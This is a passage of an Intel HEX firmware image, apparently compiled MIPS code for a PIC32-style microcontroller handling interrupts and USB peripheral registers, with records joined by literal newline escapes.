f004230fa\n:106844002110220200120200218002021800c48fcb\n:10685400c4b7400f00000000c2150200010051300f\n:106864001800c48fc4b7400f000000004215020096\n:1068740002004230218822021800c48fc4b7400f9e\n:1068840000000000c21402000400423021882202e9\n:106894001800c48fc4b7400f000000004214020067\n:1068a40008004230218822021800c48fc4b7400f68\n:1068b40000000000021402004010020010004230e8\n:1068c400218822021800c48fc4b7400f00000000c2\n:1068d40002140200c010020020004230218822026b\n:1068e4001800c48fc4b7400f000000000214020057\n:1068f4004011020040004230218822021800c48f57\n:10690400c4b7400f0000000002140200c0110200ce\n:10691400ff004230218822021800c48fc4b7400f00\n:1069240000000000c29702001800c48fc4b7400fd3\n:10693400000000004217020002004230219042028f\n:106944001800c48fc4b7400f00000000c216020034\n:1069540004004230219042021800c48fc4b7400f93\n:10696400000000004216020008004230219042025a\n:106974001800c48fc4b7400f0000000002160200c4\n:106984004010020010004230219042021800c48fcf\n:10699400c4b7400f0000000002160200c01002003d\n:1069a40020004230219042021800c48fc4b7400f27\n:1069b40000000000021602004011020040004230b4\n:1069c400219042021800c48fc4b7400f0000000099\n:1069d40002160200c0110200ff00423021104202e0\n:1069e40000120200211022020014020021100202ef\n:1069f4002c00c2af2800c28f1000a2af2c00c28f9f\n:106a04001400a2af00a0023ce06944242000c68f19\n:106a14002400c78fd601410f000000004805c28f33\n:106a2400049d033c7c5b658c7c5b64240400848c47\n:106a3400030045a8000045b8070044a8040044b872\n:106a44007c5b632408006490080044a00900639000\n:106a5400090043a00100022421e8c0034405bf8fbc\n:106a64004005be8f3c05b78f3805b68f3405b58f0a\n:106a74003005b48f2c05b38f2805b28f2405b18f50\n:106a84002005b08f4805bd270800e0030000000082\n:106a940090ffbd276c00bfaf6800beaf21f0a0031c\n:106aa4007000c4af7400c5af7400c48fa34a410f13\n:106ab40000000000211840000800022408006210b1\n:106ac40000000000049d023c885b44242013410f15\n:106ad4000000000021100000db9a400b00000000c1\n:106ae4007400c48fa9b7400f000000001000c2afab\n:106af4001000c48f20000524f6b2400f00000000ef\n:106b04001400c3272120600021284000200006240f\n:106b140068b6400f000000004000c3271400c227dd\n:106b2400212060002128400020000624aaba400f3a\n:106b3400000000003400c3271400c2272120600095\n:106b4400212840002000062463b9400f0000000003\n:106b54003400c2277000c48f212840007f49410fb0\n:106b6400000000000100022421e8c0036c00bf8f74\n:106b74006800be8f7000bd270800e003000000001d\n:106b840078ffbd278400bfaf8000beaf21f0a00313\n:106b94008800c4af8c00c5af8c00c48fa34a410fda\n:106ba400000000001000c2af1000c28f2100422874\n:106bb4000800401400000000049d023cb05b442423\n:106bc4002013410f00000000211000001d9b400b0a\n:106bd400000000003800c227212040008c00c58f2f\n:106be40077ba400f000000001000c28fff0042304f\n:106bf4003800c327212060002128400044b7400ffb\n:106c0400000000001400c2af1000c28fff00423029\n:106c14001400c48f21284000f6b2400f0000000089\n:106c2400211840001000c28f1800c42721286000da\n:106c34002130400068b6400f000000001000c28ff1\n:106c44005800c4271800c3272128600021304000c1\n:106c5400aaba400f000000005800c2278800c48f61\n:106c6400212840007f49410f000000000100022458\n:106c740021e8c0038400bf8f8000be8f8800bd2739\n:106c84000800e00300000000e8ffbd271400bfafc8\n:106c94001000beaf21f0a0031800c4af1c00c5afa4\n:106ca4001800c48f1c00c58fa59a400f0000000077\n:106cb40021e8c0031400bf8f1000be8f1800bd2749\n:106cc4000800e00300000000e8ffbd271400bfaf88\n:106cd4001000beaf21f0a0031800c4af1c00c5af64\n:106ce4001800c48f1c00c58fe19a400f00000000fb\n:106cf40021e8c0031400bf8f1000be8f1800bd2709\n:106d04000800e00300000000e0febd271c01bfaf47\n:106d14001801beaf21f0a0032001c4af2401c5af08\n:106d240000a0023cdc2442241c00c2af2000c0afff\n:106d3400049d023cdc5544242013410f0000000054\n:106d44002400c22721204000d2ad400f00000000e3\n:106d54000800401400000000049d023ce055442457\n:106d64002013410f00000000211000001c9c400b68\n:106d7400000000003000c3272400c2272120600047\n:106d840021284000e7b8400f000000002401c48f10\n:106d9400200005242e57410f000000002000c2af40\n:106da4002000c28f0800401400000000049d023c33\n:106db400f45544242013410f00000000211000006a\n:106dc4001c9c400b000000002000c28f000040a06b\n:106dd4005000c227212040002401c58fe7b8400f8e\n:106de4000000000021184000200002240800621066\n:106df40000000000049d023c185644242013410f57\n:106e040000000000211000001c9c400b000000004a\n:106e14002000c28f010042245000c32720006324b5\n:106e24002120600021284000e7b8400f0000000046\n:106e34002118400020000224080062100000000015\n:106e4400049d023c345644242013410f00000000ea\n:106e5400211000001c9c400b000000009000c32780\n:106e64005000c2272120600021284000458e400f99\n:106e7400000000000800401400000000049d023cd3\n:106e8400505644242013410f00000000211000003c\n:106e94001c9c400b000000009000c5275000c32735\n:106ea4003000c2271c00c48f21306000213840000c\n:106eb400d28e400f000000000800401400000000c3\n:106ec400049d023c785644242013410f0000000026\n:106ed400211000001c9c400b00000000280002242c\n:106ee400ec00c2affc9b400b00000000f000c0af00\n:106ef4005000c22721204000229c400f00000000c7\n:106f04000800401400000000049d023cd85b4424a7\n:106f14002013410f00000000211000001c9c400bb6\n:106f240000000000dd9b400b00000000ec00c58f5a\n:106f3400f000c3275000c2271c00c48f213060001a\n:106f4400213840005a9c400f000000000800401403\n:106f540000000000049d023cf85b44242013410f10\n:106f640000000000211000001c9c400b00000000e9\n:106f7400ec00c38ff000c28f23106200340042285b\n:106f8400eaff401000000000f000c38fec00c527aa\n:106f94005000c2273000c4271000a4af1c00c48fc7\n:106fa4002130600021384000da9c400f00000000ce\n:106fb4000800401400000000049d023c205c4424ae\n:106fc4002013410f00000000211000001c9c400b06\n:106fd40000000000ec00c28f049d033c485c642464\n:106fe400212840002013410f00000000ec00c28f54\n:106ff40000084228bdff4014000000001800c0af84\n:10700400159c400b000000001800c28f1c00c38fa9\n:1070140021106200a800c32721206000212840001d\n:107024000001062463b9400f00000000a800c22735\n:10703400049d033c6c5c6424212840002013410f10\n:10704400000000001800c28f000142241800c2afe3\n:107054001800c28f00084228ebff40140000000013\n:107064002001c28f000040a00100022421e8c003d7\n:107074001c01bf8f1801be8f2001bd270800e0034b\n:1070840000000000c8ffbd273400bfaf3000beaf12\n:1070940021f0a0033800c4af1800c227212040000b\n:1070a400d2ad400f000000000800401400000000b2\n:1070b400049d023c745c44242013410f0000000032\n:1070c40021100000549c400b000000000c8180af94\n:1070d4001800c22721204000d2ad400f000000005c\n:1070e4000800401400000000049d023ca05c4424fd\n:1070f4002013410f0000000021100000549c400b9d\n:10710400000000002400c2271000a0af212040008e\n:107114003800c58f4000062403000724da90400f8e\n:10712400000000000800401400000000049d023c20\n:10713400d85c44242013410f0000000021100000fb\n:10714400549c400b000000000100022421e8c0030d\n:107154003400bf8f3000be8f3800bd270800e00325\n:1071640000000000c8fbbd273404bfaf3004beaf2d\n:1071740021f0a0033804c4af3c04c5af4004c6af3b\n:107184004404c7af4004c28f0000428c3c04c38f48\n:1071940023106200d6ff42241800c2af1800c28f29\n:1071a4000a0042280800401000000000049d023c30\n:1071b400085d44242013410f00000000211000004a\n:1071c400d49c400b000000001800c28fff0142282d\n:1071d4000300401400000000fe0102241800c2afa6\n:1071e4001800c28f6666033c676663341800430068\n:1071f4001018000083180300c31702002310620054\n:107204002000c2af1c00c0af939c400b00000000e4\n:107214001c00c28f4010020080180200211043009d\n:107224002400c3272110620021204000049d023c59\n:107234007c58452477ba400f000000001c00c28f20\n:10724400010042241c00c2af1c00c38f2000c28f67\n:107254002a106200eeff4014000000004004c28fb8\n:107264000000428c3804c38f211862002000c28fb2\n:107274004010020080200200211044002402c42790\n:107284002400c5272130600021384000e88f400fda\n:10729400000000002000c28f40100200801802008d\n:1072a400211043002404c4272402c3271000a0afe4\n:1072b400212860002130400003000724da90400fa9\n:1072c400000000000800401400000000049d023c7f\n:1072d400385d44242013410f0000000021100000f9\n:1072e400d49c400b000000002404c227212040004d\n:1072f400049d023ce0564524734d410f00000000fc\n:107304000800401400000000049d023c6c5d44240d\n:107314002013410f0000000021100000d49c400bfa\n:10732400000000004004c28f0000438c2000c28f84\n:10733400401002008020020021104400200042245a\n:10734400211862004004c28f000043ac21e8c0034e\n:107354003404bf8f3004be8f3804bd270800e00317\n:1073640000000000a8fbbd275404bfaf5004beaf0b\n:1073740021f0a0035804c4af5c04c5af6004c6afd9\n:107384006404c7af5c04c28f0000438c6004c28fe6\n:10739400231062001c00c2af1c00c28f0a004228e6\n:1073a4000800401000000000049d023cac5d442431\n:1073b4002013410f0000000021100000629d400bcb\n:1073c400000000001c00c28f6666033c67666334dd\n:1073d400180043001018000083180300c3170200ac\n:1073e400231062002000c2af1800c0af0c9d400bf8\n:1073f400000000001800c28f401002008018020034\n:10740400211043002400c3272110620021204000e2\n:10741400049d023c7c58452477ba400f00000000cc\n:107424001800c28f010042241800c2af1800c38f95\n:107434002000c28f2a106200eeff401400000000fa\n:107444006004c28f5804c38f211862002000c28fc9\n:107454004010020080200200211044002402c427ae\n:107464002400c5272130600021384000e88f400ff8\n:10747400000000002000c28f4010020080180200ab\n:10748400211043002404c4272402c3271000a0af02\n:10749400212860002130400003000724da90400fc7\n:1074a400000000000800401400000000049d023c9d\n:1074b400dc5d44242013410f000000002110000073\n:1074c400629d400b000000002404c22721204000dc\n:1074d400049d023ce0564524734d410f000000001a\n:1074e4000800401400000000049d023c105e442487\n:1074f4002013410f0000000021100000629d400b8a\n:10750400000000003004c3272404c22721206000a7\n:1075140021284000e7b8400f000000002000c28f7f\n:10752400401002008018020021104300211840007e\n:107534006004c28f211062005804c38f21186200b6\n:107544003004c22721206000212840006804c68f2f\n:1075540020000724e88f400f000000002000c28fa5\n:107564004010020080180200211843006004c28ffa\n:1075740021106200200043245c04c28f000043ac4d\n:107584000100022421e8c0035404bf8f5004be8fbd\n:107594005804bd270800e00300000000d8ffbd2701\n:1075a4002400bfaf2000beaf21f0a0032800c4af69\n:1075b4002c00c5af3000c6af2800c28f000040a029\n:1075c4001400c227212040002c00c58f77ae400f45\n:1075d400000000005c004010000000001000c0af7c\n:1075e4009e9d400b000000001400c2272120400093\n:1075f4001000c58f1000c68fcc43410f000000005f\n:1076040014004014000000001400c2272120400090\n:107614002c00c58f77ae400f00000000040040141a\n:107624000000000021100000d49d400b0000000069\n:10763400049d023c505e448c505e43240400638ce1\n:107644001400c4af1800c3af505e42240800429037\n:107654001c00c2a31400c2272800c48f21284000a4\n:107664005856410f000000001000c28f0100422450\n:107674001000c2af1000c28f08004228daff401485\n:10768400000000003000c28f2900401000000000fc\n:107694001c00c0a31000c0afc19d400b000000003f\n:1076a400049d023c5c5e44241000c58f8513410f89\n:1076b400000000001000c28fc01002002800c38f19\n:1076c400211062001400c3272120600021284000fb\n:1076d40008000624494a410f000000001400c22794\n:1076e400049d033c6c5c6424212840002013410f5a\n:1076f400000000001000c28f010042241000c2af3d\n:107704001000c28f08004228e5ff4014000000006a\n:10771400049d023c645e4424049d023cdc554524e3\n:107724002013410f00000000d09d400b000000001a\n:107734002800c48fee9d400f0000000001000224c9\n:10774400d49d400b000000002110000021e8c0037c\n:107754002400bf8f2000be8f2800bd270800e0034f\n:1077640000000000e0ffbd271c00bfaf1800beaf43\n:1077740021f0a0031000c0af079d023cffbf4434ba\n:107784001000c227212840000400062400a0023c67\n:107794005c454724424c410f0000000021e8c0032f\n:1077a4001c00bf8f1800be8f2000bd270800e00317\n:1077b40000000000e0ffbd271c00bfaf1800beaff3\n:1077c40021f0a0032000c4af1400c22721204000f0\n:1077d400079d023cffbf453404000624494a410f7b\n:1077e400000000001400c28f7f00422c04004014eb\n:1077f4000000000021100000259e400b0000000046\n:107804002000c48f2b9e400f000000001000c2af68\n:107814001000c28f04004010000000000100022488\n:10782400259e400b000000001400c28f8019020046\n:10783400079d023c03c04234211062001000c2af15\n:107844001000c48f2000c58f4000062400a0023c15\n:107854005c454724424c410f000000001400c28fd5\n:10786400010042241400c2af1400c227079d033c48\n:10787400ffbf6434212840000400062400a0023c19\n:107884005c454724424c410f0000000001000224e3\n:1078940021e8c0031c00bf8f1800be8f2000bd2745\n:1078a4000800e00300000000d8ffbd272400bfaf9c\n:1078b4002000beaf21f0a0032800c4af1000c0af69\n:1078c4001400c0af1800c22721204000079d023ccd\n:1078d400ffbf453404000624494a410f000000005c\n:1078e4001800c28f8000422c0800401400000000e1\n:1078f400049d023c685e44242013410f00000000f4\n:1079040021100000609e400b000000001400c0af76\n:10791400079d023c03c042341000c2af5a9e400b84\n:10792400000000002800c48f1000c58f400006240a\n:10793400d352410f00000000040040140000000076\n:107944001000c28f609e400b000000001400c28f24\n:10795400010042241400c2af1000c28f4000422430\n:107964001000c2af1800c28f1400c38f2b10620026\n:10797400ecff4014000000002110000021e8c003c7\n:107984002400bf8f2000be8f2800bd270800e0031d\n:1079940000000000e0ffbd271c00bfaf1800beaf11\n:1079a40021f0a0031000c22721204000079d023cc3\n:1079b400ffbf453404000624494a410f000000007b\n:1079c400049d023cdc5544242013410f00000000b8\n:1079d4001000c28f8000422c0800401400000000f8\n:1079e400049d023c8c5e44242013410f00000000df\n:1079f40021100000879e400b000000001000c28f81\n:107a0400049d033ca45e6424212840002013410ffc\n:107a1400000000000100022421e8c0031c00bf8f05\n:107a24001800be8f2000bd270800e00300000000fe\n:107a3400d0ffbd272c00bfaf2800beaf21f0a003ac\n:107a44003000c4af3400c5af1800c2272120400065\n:107a5400079d023cffbf453404000624494a410ff8\n:107a640000000000049d023cdc5544242013410f17\n:107a7400000000001800c28f08004014000000003d\n:107a8400049d023cb85e44242013410f0000000012\n:107a940001000224069f400b000000003000c28f4a\n:107aa4000500401400000000010002243000c2afb1\n:107ab4001800c28f3400c2af1800c28f8000422c5d\n:107ac40010004010000000001800c28f3000c38f67\n:107ad4002b1043000b004014000000003400c38f3f\n:107ae4003000c28f2b10620006004014000000001a\n:107af4001800c28f3400c38f2b10430008004010bd\n:107b040000000000049d023cd05e44242013410f79\n:107b14000000000021100000069f400b0000000040\n:107b24002400c0a33000c28f1000c2af009f400bde\n:107b340000000000049d023ce85e44241000c58f50\n:107b44002013410f000000001400c0aff59e400b4d\n:107b540000000000049d023c5c5e44241400c58fb8\n:107b64002013410f000000001000c38fff03023cec\n:107b7400ffff423421106200801902001400c28ffa\n:107b8400c010020021186200079d023c03c0423469\n:107b9400211062001c00c32721206000212840001e\n:107ba40008000624494a410f000000001c00c227b7\n:107bb400049d033c6c5c6424212840002013410f85\n:107bc400000000001400c28f010042241400c2af60\n:107bd4001400c28f08004228deff40140000000099\n:107be400049d023cdc5544242013410f0000000096\n:107bf4001000c28f010042241000c2af1000c38fd6\n:107c04003400c28f2b104300caff40100000000054\n:107c14000100022421e8c0032c00bf8f2800be8f7e\n:107c24003000bd270800e00300000000f0ffbd277e\n:107c34000c00beaf21f0a00388bf023c0002033c4d\n:107c4400741043ac88bf023cff000324205243acb1\n:107c540088bf023cff000324005243ac88bf023caf\n:107c6400005340ac88bf023c105342240400c2af0e\n:107c74000100c0a3289f400b000000000400c28f35\n:107c8400000040ac0400c28f100042240400c2afc4\n:107c94000100c293010042240100c2a30100c29367\n:107ca4000300422cf5ff40140000000088bf023c92\n:107cb400e05240ac88bf023c9f000324305243ace6\n:107cc40088bf023c9f000324105243ac88bf023c8f\n:107cd4007050428c0f00433088bf023c705043ac5c\n:107ce40088bf023c7050438c88bf023c705043ac48\n:107cf40088bf033c80506290010004240400827c0d\n:107d0400805062a000a0023c001c422400e0427c9f\n:107d1400021e020088bf023cd05243ac00a0023cc9\n:107d2400001c422400e0427c021c020088bf023c8a\n:107d3400c05243ac00a0023c001c422400e0427c40\n:107d4400021a020088bf023c705243ac0000c0a378\n:107d5400639f400b000000000000c39300a0023c9e\n:107d6400c0180300001c42242110620021200000de\n:107d740021280000000044ac040045ac0000c2937c\n:107d8400010042240000c2a30000c2931000422c50\n:107d9400f1ff40140000000088bf033c5052629081\n:107da400010004244408827c505262a088bf023c33\n:107db400605240ac88bf033c505262904429027c1c\n:107dc400505262a088bf033c505262904408027c27\n:107dd400505262a0869f400b0000000088bf023c06\n:107de40008000324005243ac00a0023c801c42243f\n:107df400040040a000a0023cd01c4224040040a087\n:107e040000a0023cd01c43240400628c04ba027c0f\n:107e1400040062ac88bf023c0052428c080042302d\n:107e2400eeff40140000000001000224b88182af7c\n:107e340001000224c08182aff08180aff48180af61\n:107e4400d48180af0000c0a3ac9f400b00000000b1\n:107e54000000c39300a0023c80180300101a4224bf\n:107e640021106200000040ac0000c39300a0023c5b\n:107e740080180300001a422421106200000040ac64\n:107e84000000c3930882822721106200000040a0f2\n:107e94000000c393d881822721106200000040a013\n:107ea4000000c293010042240000c2a30000c29358\n:107eb4000400422ce6ff40140000000000a0023c35\n:107ec40000a0033c101c6324101a43ac88bf023c7e\n:107ed4000d000324005343accc81822700e0437c93\n:107ee40000a0023c001c4224040043ac00a0023c5d\n:107ef400001c432402006294400004240448827c51\n:107f0400020062a400a0023c84000324001c43a4d9\n:107f1400bc8180a3f88180af21e8c0030c00be8f30\n:107f24001000bd270800e0030000000000e85d41e8\n:107f340000701b4002601a4080ffbd277c00bbaf6d\n:107f440000601b407800baaf00681a407400bbaff1\n:107f540082d21a00847a5b7f44201b7c00609b40a1\n:107f64002400a3af2000a2af7800a38f0f006330da\n:107f740012006014000000006400bfaf6000beafd8\n:107f84005c00b9af5800b8af5400afaf5000aeaf0b\n:107f94004c00adaf4800acaf4400abaf4000aaaf5b\n:107fa4003c00a9af3800a8af3400a7af3000a6af9b\n:107fb4002c00a5af2800a4af1c00a1af0000000056\n:107fc400121000006c00a2af101800006800a3afec\n:107fd40021f0a003f881838f0100022410006214b1\n:107fe4000000000088bf023cff000324005243aca1\n:107ff40088bf033c10526290010004240400827c78\n:10800400105262a088bf033c105262900100042405\n:108014000421827c105262a002000224f88182af03\n:1080240088bf023c4050428c100042300b0040108c\n:108034000000000088bf023c5050428c10004230c7\n:10804400060040100000000088bf023c100003241a\n:10805400405043ac2ea7400f0000000088bf023cf4\n:108064008050428c020042300600401000000000a4\n:10807400690004240d57410f00000000e1a0400beb\n:108084000000000088bf023c0052428c01004230d4\n:10809400100040100000000088bf023c1052428cc7\n:1080a400010042300b004010000000000c9f400f04\n:1080b4000000000088bf023c0002033c781043ac7f\n:1080c40004000224f88182af88bf023c010003242b\n:1080d400005243ac88bf023c0052428c1000423034\n:1080e4000b0040100000000088bf023c1052428c7c\n:1080f40010004230060040100000000015a7400f99\n:108104000000000088bf023c10000324005243ac6e\n:1081140088bf023c0052428c040042300e004010e2\n:108124000000000088bf023c1052428c0400423020\n:108134000600401000000000730004242128000001\n:1081440001000624dd64400f0000000088bf023ceb\n:1081540004000324005243ac88bf023c0052428c0a\n:1081640080004230080040100000000088bf023c3c\n:108174001052428c80004230030040100000000086\n:10818400e0a6400f0000000088bf023c0052428c71\n:1081940002004230120040100000000088bf023c80\n:1081a4001052428c020042300d00401000000000ca\n:1081b400ff7f023cffff4434212800000100062415\n:1081c400dd64400f0000000088bf023cff00032470\n:1081d400205243ac88bf023c02000324005243ac4b\n:1081e400f881828f0400422c060040100000000039\n:1081f400690004240d57410f00000000e1a0400b6a\n:108204000000000088bf023c1052428c080042303b\n:1082140058004010000000001000c0a3daa0400b7a\n:108224000000000088bf023c0052428c080042302b\n:10823400470040100000000088bf023c4052428cbe\n:10824400ff004230c88182a3c881828f0019427c1a\n:10825400ff004230ec8182a388bf023c0800032463\n:10826400005243acc8818293ff0042300800423080\n:10827400ff0042301500401400000000ec8182939e\n:10828400ff0042302118400021204000d88182277d\n:1082940021108200000042900000427cff00423026\n:1082a40001004238ff00423001004230ff004430f8\n:1082b400d881822721186200000062900400827c29\n:1082c400000062a0c6a0400b00000000ec81829375\n:1082d400ff004230211840002120400008828227fc\n:1082e40021108200000042900000427cff004230d6\n:1082f40001004238ff00423001004230ff004430a8\n:108304000882822721186200000062900400827ca7\n:10831400000062a0ec818293ff004230050040140b\n:108324000000000045a7400f00000000d7a0400b4c\n:108334000000000072000424c88185272130000059\n:10834400dd64400f00000000d7a0400b00000000d7\n:10835400dea0400b000000001000c2930100422484\n:108364001000c2a31000c2930400422cadff4014bd\n:1083740000000000690004240d57410f00000000b4\n:1083840021e8c0036c00a28f130040006800a38f93\n:10839400110060007800a28f0f00423014004014d6\n:1083a400000000006400bf8f6000be8f5c00b98fc6\n:1083b4005800b88f5400af8f5000ae8f4c00ad8f73\n:1083c4004800ac8f4400ab8f4000aa8f3c00a98fbb\n:1083d4003800a88f3400a78f3000a68f2c00a58ffb\n:1083e4002800a48f2400a38f2000a28f1c00a18f3b\n:1083f4000000000000606041c00000007c00ba8ff3\n:108404007400bb8f00709a407800ba8f8000bd273b\n:1084140002609a4000e8dd4100609b401800004281\n:10842400e0ffbd271c00bfaf1800beaf21f0a003c2\n:10843400211880002110a0002000c3a32400c2a39f\n:108444002400c293080042300600401000000000df\n:108454002000c2932120400021280000bba3400f2c\n:10846400000000002400c2930400423006004010c3\n:10847400000000002000c2932120400001000524d8\n:10848400bba3400f000000002000c29300110200b3\n:108494002118400088bf023c00534224211062008e\n:1084a4001000c2af1000c28f2400c393000043a089\n:1084b40021e8c0031c00bf8f1800be8f2000bd2719\n:1084c4000800e00300000000f0ffbd270c00beaf71\n:1084d40021f0a0032118a0001800c6af2110e0006d\n:1084e4001000c4a31400c3a31c00c2a31400c293ad\n:1084f4000a004010000000001000c39300a0023cda\n:1085040080180300101a4224211062000000428cdb\n:108514000000c2af4fa1400b000000001000c39345\n:1085240000a0023c80180300001a422421106200bb\n:108534000000428c0000c2af0000c28f040040144f\n:108544000000000021100000baa1400b0000000050\n:108554001800c28f00e0437c0000c28f070043a8cc\n:10856400040043b81c00c293ff034230ffff4330b2\n:108574000000c28fff006430020045900000a53067\n:108584002520a400020044a0021a0300ffff633068\n:10859400030063300300633003004590fcff0424b0\n:1085a4002420a40025188300030043a00000c28fe8\n:1085b40000004390ff00633001004290ff0042300e\n:1085c4000012020025104300ffff423040004230f9\n:1085d400ffff43300000c28fff006430000045906d\n:1085e4000000a5302520a400000044a0021a0300c6\n:1085f400ffff63300100449000008430251883009d\n:10860400010043a00000c28f00004390ff006330cc\n:1086140001004290ff004230001202002510430086\n:10862400ffff423088004234ffff43300000c28f16\n:10863400ff006430000045900000a5302520a40010\n:10864400000044a0021a0300ffff633001004490bd\n:108654000000843025188300010043a01400c29355\n:1086640011004010000000001000c29380180200a6\n:1086740000a0023c101a4224211062001000c3938f\n:108684008020030000a0033c101a632421188300f7\n:108694000000639008006338ff006330000043a0cb\n:1086a400b9a1400b000000001000c2938018020022\n:1086b40000a0023c001a4224211062001000c3935f\n:1086c4008020030000a0033c001a632421188300c7\n:1086d4000000639008006338ff006330000043a08b\n:1086e4000000c28f21e8c0030c00be8f1000bd271c\n:1086f4000800e00300000000f0ffbd270c00beaf3f\n:1087040021f0a003211880002110a0001000c3a3b1\n:108714001400c2a31000c2932600401400000000fd\n:10872400dc81828f02004390000063304000633498\n:10873400020043a003004490fcff03242418830098\n:10874400030043a0dc81828fcc81832700e0637c1b\n:10875400070043a8040043b8dc81828f00004390e3\n:1087640000006330212060008cff0324251883005f\n:10877400000043a00100439000006330010043a0c7\n:1087840000a0023c101a428c0000439000006330a9\n:108794002120600084ff032425188300000043a0e7\n:1087a4000100439000006330010043a02ba2400b62\n:1087b400000000001000c293401802001400c2938d\n:1087c4002110620040100200c018020000a0023c08\n:1087d400001c4224211062000000c2af0000c28fbe\n:1087e4000000439001004290001202002510430053\n:1087f400ffff423084004234ffff43300000c28f49\n:10880400ff006430000045900000a5302520a4003e\n:10881400000044a0021a0300ffff633001004490eb\n:108824000000843025188300010043a01000c29387\n:10883400401802001400c29321106200401002008c\n:1088440001004224c018020000a0023c001c422483\n:10885400211062000000c2af0000c28f00004390ec\n:10886400010042900012020025104300ffff423035\n:1088740084004234ffff43300000c28fff006430a5\n:10888400000045900000a5302520a400000044a06d\n:10889400021a0300ffff633001004490000084309b\n:1088a40025188300010043a021e8c0030c00be8ffb\n:1088b4001000bd270800e00300000000f8ffbd27fa\n:1088c4000400beaf21f0a003211080000800c2a361\n:1088d40088bf023c5052428c200042307f0040103e\n:1088e400000000000800c39300a0023c80180300ad\n:1088f400101a4224211062000000428c0800c49324\n:1089040000a0033c80200400101a63242118830073\n:108914000000638c03006a882120400100006498f1\n:1089240007006a88212840010400659840008830c7\n:108934000000a930030048a8000048b8070049a86f\n:10894400040049b80800c39300a0023c8018030047\n:10895400101a4224211062000000428c0800c493c3\n:1089640000a0033c80200400101a63242118830013\n:108974000000638c030068882120000100006498d3\n:1089840007006888212800010400659840008638a3\n:108994000000a738030046a8000046b8070047a80f\n:1089a400040047b80800c2938018020000a0023ceb\n:1089b400101a4224211062000800c393802003008f\n:1089c40000a0033c101a6324211883000000639064\n:1089d40008006338ff006330000043a00800c3931d\n:1089e40000a0023c80180300101a422421106200e7\n:1089f4000000428c0800c49300a0033c80200400c3\n:108a0400101a6324211883000000638c0000649012\n:108a1400ff00843001006390ff006330001a0300fc\n:108a240025186400ffff633040006330ffff6330ac\n:108a3400ff006430000045900000a5302520a4000c\n:108a4400000044a0021a0300ffff633001004490b9\n:108a54000000843025188300010043a00800c3935c\n:108a640000a0023c80180300101a42242110620066\n:108a74000000428c0800c49300a0033c8020040042\n:108a8400101a6324211883000000638c0000649092\n:108a9400ff00843001006390ff006330001a03007c\n:108aa40025186400ffff633040006338ffff633024\n:108ab400ff006430000045900000a5302520a4008c\n:108ac400000044a0021a0300ffff63300100449039\n:108ad4000000843025188300010043a021e8c0036e\n:108ae4000400be8f0800bd270800e003000000005a\n:108af400f8ffbd270400beaf21f0a00388bf023ced\n:108b0400505240ac88bf023c105240acf88180af58\n:108b14000000000021e8c0030400be8f0800bd2748\n:108b24000800e00300000000e8ffbd271400bfaf09\n:108b34001000beaf21f0a003f881828f31004014f1\n:108b44000000000088bf023c505240ac88bf023c89\n:108b5400105240ac88bf023ce05240ac88bf023c9b\n:108b64009f000324305243ac88bf023c9f0003247f\n:108b7400105243ac88bf023c7050428c0f0043300b\n:108b840088bf023c705043ac88bf023c7050438c99\n:108b940088bf023c705043ac88bf023c0002033cd7\n:108ba400781043ac88bf023c00ff0334441143ac4b\n:108bb40088bf023c00100324481143acf456410f13\n:108bc40000000000ed57410f00000000fba2400b25\n:108bd4000000000088bf033c50526290010004244e\n:108be4000400827c505262a088bf023c5052428ce6\n:108bf40001004230f7ff4010000000000100022491\n:108c0400f88182af21e8c0031400bf8f1000be8f2b\n:108c14001800bd270800e00300000000f8ffbd278e\n:108c24000400beaf21f0a003b881828f5b00401422\n:108c34000000000001000224b88182afc081828f4d\n:108c4400560040140000000001000224c08182afdd\n:108c5400e0818293ff004330020002241700621473\n:108c64000000000000a0023c101a428c0200439055\n:108c740000006330020043a003004490fcff03247f\n:108c840024188300030043a000a0023c101a428c65\n:108c9400000043900000633021206000c8ff0324db\n:108ca40025188300000043a00100439000006330b6\n:108cb400010043a068a3400b00000000e081829300\n:108cc400ff0043300100022434006214000000005d\n:108cd400b08180afe481828f020043900000633052\n:108ce40040006334020043a003004490fcff0324cb\n:108cf40024188300030043a0e481828fcc8183275e\n:108d040000e0637c070043a8040043b8e481828f39\n:108d140000004390000063302120600084ff03249e\n:108d240025188300000043a0010043900000633035\n:108d3400010043a001000224b08182afdc81828f54\n:108d4400020043900000633040006334020043a0fb\n:108d540003004490fcff032424188300030043a071\n:108d6400dc81828fcc81832700e0637c070043a8e9\n:108d7400040043b8dc81828f00004390000063301c\n:108d84002120600080ff032425188300000043a0f5\n:108d94000100439000006330010043a021e8c003b8\n:108da4000400be8f0800bd270800e0030000000097\n:108db400e8ffbd271400bfaf1000beaf21f0a00331\n:108dc400f08180aff48180afe0818293ff00433073\n:108dd400020002241c00621400000000dc81828f67\n:108de400020043900000633040006334020043a05b\n:108df40003004490fcff032424188300030043a0d1\n:108e0400dc81828f00a0033c901c632400e0637c1f\n:108e1400070043a8040043b8dc81828f000043901c\n:108e24000000633021206000c8ff0324251883005c\n:108e3400000043a00100439000006330010043a000\n:108e4400b5a3400b00000000d2818297ffff43309e\n:108e540000a0023c801c422408004294ffff4230e0\n:108e64002b1062000600401000000000d28182979f\n:108e7400ffff433000a0023c801c4224080043a4ae\n:108e840078a4400f0000000000a0023c101a428c9d\n:108e940000a0033c901c632400e0637c070043a80b\n:108ea400040043b800a0023c101a428c0000439016\n:108eb4000000633021206000c8ff032425188300cc\n:108ec400000043a00100439000006330010043a070\n:108ed40021e8c0031400bf8f1000be8f1800bd2707\n:108ee4000800e00300000000f0ffbd270c00beaf47\n:108ef40021f0a003211880002110a0001000c3a3ba\n:108f04001400c2a300a0023c001c42240000c2af13\n:108f14001000c293401802001400c2932110620092\n:108f2400001102000000c38f211062000000c2afd4\n:108f34000000c38f00006290c439027c000062a06c\n:108f44001400c2930a004014000000001000c393f0\n:108f540000a0023c80180300001a42242110620081\n:108f64000000c38f000043ace4a3400b00000000ea\n:108f74001000c39300a0023c80180300101a42247e\n:108f8400211062000000c38f000043ac0000c38fb7\n:108f9400000062908431027c000062a00000c28f55\n:108fa4000800432400006290010004248431827c80\n:108fb400000062a021e8c0030c00be8f1000bd2792\n:108fc4000800e00300000000e8ffbd271400bfaf65\n:108fd4001000beaf21f0a00388bf033c5052629042\n:108fe4004429027c505262a000a0023c801c42240e\n:108ff4000400428c800042303a004014000000001b\n:1090040000a0023cd01c422404004290ff004330e4\n:1090140080ff022424106200ff0042300c00401044\n:109024000000000002000224e08182a3f481828f08\n:1090340003004014000000006da3400f0000000076\n:10904400c08180afb88180af72a4400b00000000e3\n:10905400dc81828f0200439000006330400063345f\n:10906400020043a003004490fcff0324241883005f\n:10907400030043a0dc81828fcc81832700e0637ce